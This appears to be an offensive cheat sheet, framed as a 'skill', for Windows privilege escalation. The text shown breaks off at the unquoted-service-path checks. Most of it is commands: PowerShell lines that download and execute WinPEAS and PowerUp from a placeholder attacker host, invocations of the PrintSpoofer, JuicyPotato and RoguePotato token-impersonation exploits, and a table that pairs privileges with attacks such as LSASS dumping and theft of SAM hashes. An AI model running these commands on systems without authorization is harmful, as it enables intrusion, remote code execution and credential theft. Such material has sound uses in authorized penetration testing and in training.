Windows Privilege Escalation

Windows Privilege Escalation Skill

Overview

Techniques for escalating privileges from a low-privileged user to SYSTEM/Administrator on Windows systems.

Automated Enumeration

WinPEAS

# Download and run
IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER>/winPEAS.ps1')

# Run executable
.\winPEASany.exe

# Quiet mode
.\winPEASany.exe quiet

# Specific checks
.\winPEASany.exe servicesinfo

PowerUp

IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER>/PowerUp.ps1')
Invoke-AllChecks

# Specific checks
Get-UnquotedService
Get-ModifiableService
Get-RegistryAlwaysInstallElevated

Windows Exploit Suggester

# On attacker machine
python windows-exploit-suggester.py --update
python windows-exploit-suggester.py --database 2024-01-01-mssb.xls --systeminfo systeminfo.txt

Manual Enumeration Checklist

1. User Information

whoami
whoami /priv
whoami /groups
net users
net user <username>
net localgroup Administrators
qwinsta  # Other logged in users

2. Token Privileges

whoami /priv

High-Value Privileges:

Privilege	Attack
SeImpersonatePrivilege	PrintSpoofer, JuicyPotato, RoguePotato
SeAssignPrimaryTokenPrivilege	Token impersonation
SeBackupPrivilege	Backup SAM/SYSTEM hashes
SeRestorePrivilege	Write to any file
SeTakeOwnershipPrivilege	Take ownership of files
SeDebugPrivilege	Dump LSASS, inject into processes
SeLoadDriverPrivilege	Load vulnerable driver

Token Impersonation Attacks:

# PrintSpoofer (Windows 10, Server 2016/2019)
.\PrintSpoofer.exe -i -c cmd

# JuicyPotato (Windows 7-10, Server 2008-2016)
.\JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {CLSID}

# RoguePotato (Windows 10, Server 2019)
.\RoguePotato.exe -r <ATTACKER_IP> -e "cmd.exe" -l 9999

3. Unquoted Service Paths

wmic service get name,pathname,startmode | findstr /i auto | findstr /i /v "C:\Windows"

# PowerUp
Get-UnquotedService